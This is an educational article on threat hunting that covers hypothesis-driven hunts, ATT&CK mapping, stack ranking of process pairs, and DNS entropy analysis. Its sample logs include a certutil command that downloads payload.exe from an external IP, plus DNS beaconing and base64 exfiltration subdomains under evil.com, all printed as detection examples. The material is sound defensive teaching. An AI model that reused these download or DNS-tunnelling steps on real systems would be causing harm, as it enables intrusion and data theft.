Threat Hunting and Log Analysis

Threat hunting is the proactive search for threats that have evaded existing security controls. Unlike reactive incident response — which starts with an alert — hunting starts with a hypothesis: "what if an attacker is already in our network and our tools haven't caught them?" Then it searches raw log data for evidence that confirms or refutes that hypothesis.

Raw log analysis is the foundation. A skilled hunter reads Windows Event Logs, Linux syslog, firewall logs, and DNS logs to identify subtle attacker behaviours buried in millions of legitimate events — patterns that automated rules miss because they look almost normal. The difference between a skilled hunter and an ineffective one is not access to better tools, but the ability to form specific hypotheses that lead to specific queries that surface specific attacker behaviour.

Hunting vs Monitoring vs Incident Response

These three activities are often conflated but operate on fundamentally different timelines and assumptions. Monitoring is passive: SIEM rules fire when known-bad patterns appear. Incident response is reactive: an alert fires and analysts investigate. Threat hunting is proactive and assumption-driven: the hunter decides what to look for before any alert fires, based on threat intelligence about attacker techniques that current rules do not cover.

The output of a successful hunt is one of two things: evidence of attacker activity that the SIEM missed (escalate to IR), or evidence that the hunted technique is absent in the environment (document as a negative result and convert to a detection rule so the SIEM will catch it next time). Both outcomes are valuable. A hunt that finds nothing is not a failed hunt — it is confirmation of a coverage area, and the hypothesis it tested becomes the basis for new detection logic.

Hypothesis-Driven Hunt Framework

Step 1  Form hypothesis from threat intel or ATT&CK technique
         "Attackers targeting this sector use LOLBins for lateral movement recon"
         Hypothesis must be falsifiable and specific enough to query

Step 2  Identify data sources that record this technique
         Windows Event 4688 (process creation) + Sysmon Event 1

Step 3  Query and filter -- find candidate events
         Rare parent-child process combinations in last 30 days

Step 4  Triage candidates -- attacker vs legitimate admin activity
         IT admin running net.exe on Monday morning vs same at 2am on a Sunday

Step 5  Document findings, escalate confirmed threats, convert to detection rule

What Makes a Good Hypothesis

The quality of the hypothesis determines the quality of the hunt. A vague hypothesis like "look for suspicious activity" leads to aimless log browsing. A well-formed hypothesis has three components: a specific attacker technique (from ATT&CK or recent threat intelligence), the specific data source that would record that technique, and a clear definition of what a positive result looks like. If any of these three components is missing, the hypothesis is not ready to hunt.

• Good hypothesis: "If an attacker is performing lateral movement via PsExec, there will be Event 7045 (PSEXESVC service installation) on target hosts combined with Event 5140 (ADMIN$ share access) from the same source within a 2-minute window."
• Good hypothesis: "If an attacker is Kerberoasting, there will be Event 4769 with TicketEncryptionType 0x17 (RC4) from a non-service account for multiple different service SPNs within a short time window."
• Weak hypothesis: "Look for suspicious PowerShell use." — too broad, no specific data source, no definition of positive result.

Threat Hunting in Practice

# certutil normally manages certificates -- not downloading files from the internet
Event 4688: certutil.exe
Parent: cmd.exe  User: jsmith  Host: CORP-WS-044  Time: 23:44
CommandLine: certutil -urlcache -split -f http://185.12.44.21/payload.exe C:\Temp\p.exe
# certutil downloading from an external IP at 11:44pm = LOLBin abuse confirmed
# certutil.exe is trusted by most AV and EDR -- this is specifically why attackers use it
# ATT&CK: T1105 Ingress Tool Transfer

# On TARGET host -- these three events together confirm PsExec lateral movement:
Event 7045: PSEXESVC service installed
  Service Binary: C:\Windows\PSEXESVC.exe
Event 4624: Network logon (Type 3)
  Account: Administrator
  Source IP: 10.0.5.44 (CORP-WS-044)
Event 5140: Network share accessed (ADMIN$ -- write)
  Source: CORP-WS-044
# PSEXESVC + Type 3 Administrator logon + ADMIN$ write = PsExec lateral movement
# ATT&CK: T1569.002 System Services: Service Execution

# Hunt 1: hosts making high-frequency queries to same domain
SELECT src_ip, query, COUNT(*) as cnt
FROM dns_logs WHERE timestamp > '2026-05-14'
GROUP BY src_ip, query HAVING cnt > 500 ORDER BY cnt DESC

10.0.1.55  c2-beacon.evil.com  847 queries in 60 minutes
# 847 DNS queries to one domain in 60 min = automated beaconing -- confirmed DNS C2

# Hunt 2: base64-encoded data in subdomain labels (DNS tunnelling)
aGVsbG8gd29ybGQ.evil.com  (base64 in subdomain = data exfiltration via DNS)
c3Vic3RyaW5n.evil.com      (each query carries 30-60 bytes of exfiltrated data)
# DNS tunnelling: slow exfiltration via DNS queries. Bypasses all HTTP/HTTPS inspection.
# ATT&CK: T1071.004 Application Layer Protocol: DNS

# Hunt: Kerberos service ticket requests using RC4 (legacy, crackable offline)
Event 4769: Kerberos Service Ticket Requested
Account: jsmith@CORP.COM  (standard user, not a service account)
Service: MSSQLSvc/sqlserver.corp.com
Ticket Encryption Type: 0x17 (RC4-HMAC)
# Modern Windows defaults to AES (0x12 or 0x11) -- RC4 request is anomalous
# Multiple Event 4769 with 0x17 in a short window = Kerberoast sweep in progress
# ATT&CK: T1558.003 Steal or Forge Kerberos Tickets: Kerberoasting

# Normal baseline for jsmith's workstation (30-day rolling average):
Outbound connections/day:  450     DNS queries/day: 1,200
Unique new processes/day:   42     After-hours logins: 0

# Current day's activity:
Outbound connections:  14,200  (+3,155% -- C2 and lateral movement traffic)
DNS queries:            8,900  (+641% -- DNS C2 beaconing)
New processes: wmic.exe, nltest.exe, net.exe, ADFind.exe, secretsdump.py
After-hours: 02:14 Administrator Type 3 network logon (lateral movement target)
# Massive deviation across ALL metrics simultaneously = active compromise confirmed
# No single metric alone would trigger a rule -- combination is the signal

What You Need to Know

Structuring Hunts with MITRE ATT&CK

The MITRE ATT&CK framework is a structured taxonomy of adversary tactics, techniques, and procedures based on real-world observations. Every technique has a unique ID (T1XXX), a description of what the attacker does, and documented detection and data source guidance. Using ATT&CK as the hypothesis generator ensures hunts are grounded in known attacker behaviour rather than analyst intuition.

ATT&CK is organised by Tactic (the goal: Initial Access, Execution, Persistence, Privilege Escalation, Defence Evasion, Credential Access, Discovery, Lateral Movement, Collection, C2, Exfiltration, Impact) and Technique (the method used to achieve that goal). A hunt plan built from ATT&CK systematically covers the attacker's likely playbook, starting with the techniques most commonly used by adversaries targeting your sector.

Three High-Value Hunt Techniques

Stack Ranking for Rare Process Patterns

Stack ranking — sorting by frequency and examining the rarest instances — is one of the most powerful and underused hunting techniques. The majority of process activity on any endpoint is predictable and repetitive: the same 30–50 processes run every day in the same parent-child relationships. Attacker tooling is rare by definition — it appears once, or a handful of times, against a background of thousands of legitimate instances. Sorting by COUNT ASC and examining the bottom of the list surfaces the outliers.

# SIEM query: count parent-child process pairs over 30 days, show rarest first
SELECT ParentProcessName, ProcessName, COUNT(*) as occurrences
FROM process_events WHERE timestamp > now()-30d
GROUP BY ParentProcessName, ProcessName
ORDER BY occurrences ASC LIMIT 50

occurrences  parent                    child
1            WINWORD.EXE              cmd.exe      (Office macro dropper)
1            cmd.exe                  certutil.exe (LOLBin tool transfer)
2            explorer.exe             mshta.exe    (script-based execution)
847          svchost.exe              rundll32.exe (normal -- high frequency)
# Investigate the 1-2 occurrence entries -- rare pairs are where attackers hide

DNS Entropy Analysis for Tunnelling Detection

DNS tunnelling encodes data in subdomain labels to exfiltrate information through DNS queries. The encoded subdomains are random-looking strings — they have high Shannon entropy compared to legitimate DNS hostnames, which contain readable words, numbers, and common patterns. Calculating the entropy of subdomain labels and flagging high-entropy values surfaces tunnelling activity that volume-based detection misses entirely (low-volume tunnelling is designed to evade frequency thresholds).

# Normal DNS queries (low entropy subdomains -- readable words/patterns):
mail.corp.com           entropy: 2.1  (readable word)
api.v2.service.corp.com entropy: 2.8  (structured API path)
update-01.prod.corp.com entropy: 3.1  (structured hostname)

# DNS tunnelling queries (high entropy subdomains -- base64/hex encoded data):
aGVsbG8gd29ybGQ.exfil.evil.com                 entropy: 5.8
dGhpcyBpcyBhIHRlc3Q.exfil.evil.com             entropy: 5.9
YW5vdGhlciBiYXNlNjQ.exfil.evil.com             entropy: 5.7
# Shannon entropy threshold: legitimate DNS subdomains rarely exceed 4.0
# Values above 4.5 warrant investigation -- base64/hex encoding lifts entropy
# Query: SELECT subdomain, entropy(subdomain) FROM dns_logs WHERE entropy > 4.5

From Hunt Finding to Detection Rule

A hunt that finds attacker activity has produced an incident to investigate. But equally valuable is what happens after the investigation: the hunt finding becomes the basis for a new SIEM detection rule that ensures the same activity will be caught automatically in the future. This is how an organisation's detection capability continuously improves — every gap a hunter finds gets closed permanently.

From Hypothesis to Full Compromise — A Hunt That Found an Active Attacker

Core Concepts Summary